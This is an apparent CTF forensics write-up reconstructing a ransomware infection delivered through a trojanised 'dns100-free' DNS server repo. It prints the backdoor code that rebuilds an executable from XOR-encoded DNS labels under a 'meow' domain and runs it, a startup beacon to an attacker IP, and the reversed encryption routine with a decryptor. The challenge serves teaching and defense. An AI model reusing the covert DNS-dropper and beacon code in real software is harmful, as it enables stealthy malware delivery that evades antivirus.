recovery

This was my lone forensics challenge for the CTF. I aimed for something that sits between medium and hard: worthy of a qualifier round but still approachable and educational for beginners and intermediates. The challenge expects players to reconstruct the scenario using two artifacts: a home-directory dump from the victim and a packet capture taken during the attack.

A first Look

Opening the capture first, we’re met with a huge number of packets. Yet, in the protocol hierarchy window, we can obviously see that something’s wrong. of the 14% of the dns packets sent, almost half are malformed. Dns exfil? Not really.

Examining the DNS records, the malformed packets stand out. They all target a strange “meow” domain and look… odd. You could spend a long time trying to decode them, but in this challenge those packets don’t yield the key directly. In forensics CTFs, a clue that’s intentionally included is usually useful, so when you find something, consider it meaningful and then move on to other evidence. That brings us to the file dump.

On the victim’s filesystem the most useful starting point is the PowerShell history and the user files. On the desktop there’s a flag file that appears to be encrypted, and an IMPORTANT_NOTICE.txt that reads like a typical ransomware demand:

*** IMPORTANT NOTICE ***

Payment of 0.1Btc must be made in Bitcoin to the following wallet: bc1qa5wkgaew2dkv56kfvj49j0av5nml45x9ek9hz6

After payment, you will receive a decryption tool and instructions.

You have 72 hours to comply.

That points toward a ransomware-style infection, and the challenge description hinted that reversing the malware will be necessary, so expect to do some basic reverse engineering to recover the encrypted data.

Another curious item is a folder named dns100-free. Its contents are encrypted by the same malware, but as you’ll discover while solving the challenge, the presence of that directory is an investigative lead rather than a dead end.

Finally, the PowerShell history shows several routine commands plus the command used to install whatever created dns100-free. That history is the bridge between the network anomalies and the on-disk artifacts, it’s where the investigation begins to tie together behavior, timeline, and the malicious code you’ll need to analyze.

The Github Repo

Of all the PowerShell lines, the only important one is git clone https://github.com/youssefnoob003/dns100-free.git. Visiting that URL leads to a repo that looks intentionally fishy.

The README reads like an obvious scam, almost bait, which in itself is a hint: the public surface is designed to look suspicious enough to reassure a curious investigator that they’re on the right track, while still concealing the real payload. At the time you checked, most files were deleted and app.py only contained print(“Out of Service”). Fortunately GitHub preserves history, and by scrolling commits you eventually find a useful snapshot: commit dns6.

At the top of that commit we can see an xor_bytes helper. That’s odd for a DNS server, why would it need a byte-XOR helper? Encrypting files would be too obvious and likely to trigger Windows Defender. Digging further reveals a special_domain set to “meow” inside the DNSServer class:

class DNSServer(socketserver.ThreadingUDPServer):
    allow_reuse_address = True
    def __init__(self, server_address, handler_class, db_path):
        super().__init__(server_address, handler_class)
        self.db_path = db_path
        self.conn = sqlite3.connect(db_path, check_same_thread=False)
        self.conn.row_factory = sqlite3.Row
        self.special_domain = "meow"
        self.chunks = {}

Further down you find where that value is checked for every DNS request, and where the server effectively reconstructs a file and executes it using subprocess.

if labels[-2] == self.special_domain:
            if labels[0] == "end":
                print("[+] Stop signal received, reconstructing file...")
                ordered = [self.chunks[i] for i in sorted(self.chunks.keys())]
                exe_bytes = b"".join(ordered)

                with tempfile.NamedTemporaryFile(delete=False, suffix=".exe") as tmp_exe:
                    tmp_exe.write(exe_bytes)
                    exe_path = tmp_exe.name

                print(f"[+] Running {exe_path}")
                subprocess.run([exe_path], check=True)
                os.unlink(exe_path)            
            elif len(labels) >= 3:
                try:
                    dns_label = labels[0]
                    index = int(labels[1])
                    padded = dns_label + "=" * ((8 - len(dns_label) % 8) % 8)
                    decoded_bytes = base64.b32decode(padded)
                    key_byte = decoded_bytes[0]
                    encrypted_chunk = decoded_bytes[1:]
                    original_bytes = xor_bytes(encrypted_chunk, key_byte)
                    self.chunks[index] = original_bytes
                    print(f"[+] Received chunk {index}, len={len(original_bytes)}")
                except Exception as e:
                    print(f"[!] Failed to decode chunk {labels}: {e}")

As you’ve deduced, this code accepts many small DNS-label payloads, decodes each label, extracts a one‑byte XOR key and the remaining encrypted chunk, recovers the original bytes with xor_bytes, stores them by index, and, when the end marker arrives, concatenates the ordered chunks into exe_bytes, writes them to a temporary .exe, runs that executable, and deletes the file. The executed binary is almost certainly the ransomware.

This is sneaky for several reasons. Using DNS as a transport means the network traffic blends into normal DNS noise and is less likely to raise alarms. The server reconstructs and immediately runs the payload from a temp file, giving AV very little time or obvious artifact to detect. If an administrator or user had tried to install a suspicious binary directly, antivirus would likely intervene, but in this flow the delivery and execution are fragmented and ephemeral, so the AV had no clear, persistent target to flag in time.

Who Sent The malware

You can skip this part since I want to point out a small detail, as I wanted to make the chalenge as realistic as possible.

Rather than taking the lazy route of manually touching a victim VM and firing off packets, I built a little bit of theater into the attacker side. The attacker’s machine runs a DNS listener that quietly watches for any query containing the magic word meow. When that query appears, the listener treats it as a signal: the victim IP has contacted the attacker and the drop sequence can begin.

In code the logic lives in startup: the server ensures its database is ready, starts the DNS thread if needed, and then fires a short, innocuous DNS query toward the attacker to announce itself. Conceptually it looks like this:

def startup():
    """Initialize DB and DNS thread, then announce to attacker."""
    global dns_thread
    ensure_db(DB_PATH)
    if dns_thread is None or not dns_thread.is_alive():
        dns_thread = DNSServerThread(DB_PATH)
        dns_thread.daemon = True
        dns_thread.start()
    # announce presence to the attacker via a normal-looking DNS query
    send_test_dns_query("192.168.85.175", "meow")

That single test query serves two purposes: it blends in as ordinary DNS traffic, and it contains the covert trigger the attacker is listening for. When the attacker’s server receives it, it records the victim’s IP and, after whatever delay the operator chooses, begins serving the payload. In a realistic campaign the attacker might wait hours or days, or deliver the payload in slow, spaced-out chunks to avoid detection. For the CTF I compressed that timeline: the payload is delivered almost immediately, because this is a challenge, not an espionage op.

The end result is tidy from the player’s perspective: the victim simply starts a service, the attacker hears the quiet “meow,” and the rest of the infection flow unfolds. That small design choice made the exercise feel plausible while also giving solvers a neat forensic breadcrumb to follow.

Reconstructing the malware

This step is straightforward: we simply recreate the server’s logic locally. No lengthy explanation, here’s a quick solver:

import base64, os, sys
from scapy.all import rdpcap, UDP

def xor_bytes(data, key): return bytes(b ^ key for b in data)

def parse_labels(raw):
    if len(raw) <= 12: return []
    labels, pos = [], 12
    while pos < len(raw):
        L = raw[pos]
        if L == 0: break
        pos += 1
        if pos + L > len(raw): break
        labels.append(raw[pos:pos+L].decode(errors="ignore"))
        pos += L
    return labels

def process_pcap(path, special_domain="meow", out_file="reconstructed.exe"):
    recon = {}
    queries = []
    for pkt in rdpcap(path):
        if UDP in pkt and pkt[UDP].dport == 53:
            raw = bytes(pkt[UDP].payload)
            labels = parse_labels(raw)
            if not labels: continue
            queries.append(".".join(labels))
            if labels[-1] != special_domain: continue
            if labels[0] == "end":
                if not recon: continue
                ordered = [recon[i] for i in sorted(recon.keys())]
                exe = b"".join(ordered)
                with open(out_file, "wb") as f: f.write(exe)
                print(f"[+] Reconstructed -> {out_file}")
            elif len(labels) >= 3:
                try:
                    dns_label = labels[0]
                    idx = int(labels[1])
                    padded = dns_label + "=" * ((8 - len(dns_label) % 8) % 8)
                    decoded = base64.b32decode(padded)
                    key, chunk = decoded[0], decoded[1:]
                    recon[idx] = xor_bytes(chunk, key)
                    print(f"[+] Chunk {idx} ({len(chunk)} bytes)")
                except Exception as e:
                    print(f"[!] Failed chunk {labels}: {e}")

    with open("dns_queries.txt", "w", encoding="utf-8") as f:
        f.write("\n".join(queries))
    print(f"[+] Saved {len(queries)} queries, collected {len(recon)} chunks.")

if __name__ == "__main__":
    pcap = sys.argv[1] if len(sys.argv) > 1 else "cap.pcapng"
    process_pcap(pcap, special_domain="meow", out_file="reconstructed.exe")

The recovered executable turned out to be UPX-packed, we unpack it and continue with the next step.

Reverse Engineering

The code builds a 32‑bit seed from the filename and a built‑in secret, then runs a simple pseudo‑random generator to produce a keystream which the malware XORs with file bytes. The decompiled function shows the three steps clearly: folding the filename into v3, XORing a 37‑byte data blob into v3, and then advancing v3 with the linear congruential generator (LCG) v3 = 1664525 * v3 + 1013904223 and writing the low byte of v3 into the output buffer.

v3 = 0;
v4 = 0;
v5 = strlen(a1) + 1;
while ( v4 != v5 - 1 )
{
  v6 = 8 * (v4 & 3);
  v7 = a1[v4++];
  v3 ^= v7 << v6;
}
for ( i = 0; i != 37; ++i )
{
  v9 = byte_40B200[i];
  v10 = i;
  v3 ^= v9 << (8 * (v10 & 3));
}
for ( result = a2; result != a2 + a3; *(_BYTE *)(result - 1) = v3 )
{
  ++result;
  v3 = 1664525 * v3 + 1013904223;
}

In simple terms, the first loop takes every byte of the filename (note: it uses strlen(a1) + 1, so the terminating NUL character is included) and XORs it into v3 four bytes at a time. Think of v3 as four buckets (lowest byte, next byte, next, next): the first filename byte goes into bucket 0, the second into bucket 1, the third into bucket 2, the fourth into bucket 3, then the fifth byte wraps back into bucket 0 and is XORed there, etc. For example, if the filename starts with the ASCII bytes [‘C’, ’:’, ’\’, ‘f’] those four bytes will be XORed into the four lanes of the 32‑bit v3 as v3 ^= ‘C’ << 0, v3 ^= ’:’ << 8, v3 ^= ’\’ << 16, v3 ^= ‘f’ << 24. Including the trailing NUL means the exact sequence of bytes that made it into v3 must match exactly when you recreate the seed.

After the filename folding the code runs a short loop that XORs 37 bytes from byte_40B200 into the same 4‑byte lanes of v3. Accessing the value’s address on IDA, or whatever decompilation tool you used, we find the key: evilsecretcodeforevilsecretencryption

This static string is the secret constant the program mixes into the initial seed. Because the code XORs those 37 bytes into the same 4‑byte lanes, the final 32‑bit v3 depends on both the filename bytes and those ASCII bytes; both are required to reproduce the same initial state.

Once v3 contains the combined filename + secret material, the routine produces the keystream by repeatedly computing v3 = 1664525 * v3 + 1013904223 (mod 2^32) and outputting the lowest byte (v3 & 0xFF) for each file byte. That is a standard linear congruential generator: given the same starting v3, it deterministically produces the same sequence of low bytes. The malware writes those low bytes into a buffer and uses them to XOR with the file contents. So decrypting a file is just the inverse operation: regenerate that identical keystream and XOR again to recover plaintext.

Because the filename bytes are part of the seed, you must supply the exact full path string that the malware used when it encrypted the file. Small differences break the seed: using a relative path instead of the absolute path, omitting or adding slashes, changing C:\Users\Alice\Desktop\file.txt to C:/Users/Alice/Desktop/file.txt, or failing to include the terminating NUL in the seed folding all change the byte sequence fed into v3 and therefore change the entire keystream. In practice this means you need the full path on the victim PC, the exact string passed into sub_401460, to reproduce the same keystream and decrypt successfully.

Putting the pieces together, the solver follows the same steps: it builds the seed by XOR‑folding the full filename (prepending C:\Users\gumba\Desktop\), then XORs the 37‑byte ASCII secret (“evilsecretcodeforevilsecretencryption”) into the seed, and then runs the LCG to produce the key bytes which are XORed with the file.

import sys

SECRET = b"evilsecretcodeforevilsecretencryption"

def generate_key(filename: str, length: int) -> bytes:
    seed = 0
    # The original malware used the full path; replicate that exact string.
    filename = "C:\\Users\\gumba\\Desktop\\" + filename
    flen = len(filename)
    slen = len(SECRET)
    fname_bytes = filename.encode()

    for i in range(flen):
        seed ^= (fname_bytes[i] << ((i % 4) * 8))
    for i in range(slen):
        seed ^= (SECRET[i] << ((i % 4) * 8))

    # Deterministic PRNG (LCG)
    state = seed & 0xFFFFFFFF
    key = bytearray(length)
    for i in range(length):
        state = (state * 1664525 + 1013904223) & 0xFFFFFFFF
        key[i] = state & 0xFF
    return bytes(key)

def decrypt_file(filename: str):
    with open(filename, "rb") as f:
        data = f.read()

    key = generate_key(filename, len(data))
    decrypted = bytes([b ^ k for b, k in zip(data, key)])

    with open(f"decrypted_{filename}", "wb") as f:
        f.write(decrypted)
    print(f"[+] Key used for decryption ({len(key)} bytes): {key.hex()}")
    print(f"[+] Decrypted {filename} -> decrypted_{filename} (size={len(data)})")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <filename>")
        sys.exit(1)

    decrypt_file(sys.argv[1])

Finally

Executing the solver on sillyflag.png produced the expected result: the decrypted image contains our flag and confirms the reconstruction logic worked end-to-end. Seeing the recovered decrypted_sillyflag.png is the payoff, it proves the seed folding, secret mixing, LCG keystream, and XOR process were all correctly reimplemented.

This challenge is a nice blend of practical reversing and careful attention to detail. The tricky bits weren’t advanced cryptography, they were the engineering details that easily break reproducibility: the exact bytes folded from the filename (including the terminating NUL), the secret constant mixed in, and the exact path string used on the victim machine. Miss any of those and the keystream differs and you get garbage instead of a flag. That’s an important lesson: small implementation differences matter a lot when you’re reconstructing deterministic generators.

It was also a great exercise in thinking like both attacker and defender. From the attacker side, the payload design (path-dependent keystream, per-chunk XOR, DNS transport) is compact and effective; from the defender side, it shows how ephemeral delivery and unusual channels can defeat naïve signature-based detection. In a real incident you’d want DNS logging, process‑to‑network correlation, and tighter monitoring of temp-file writes and subprocess creation to catch this pattern.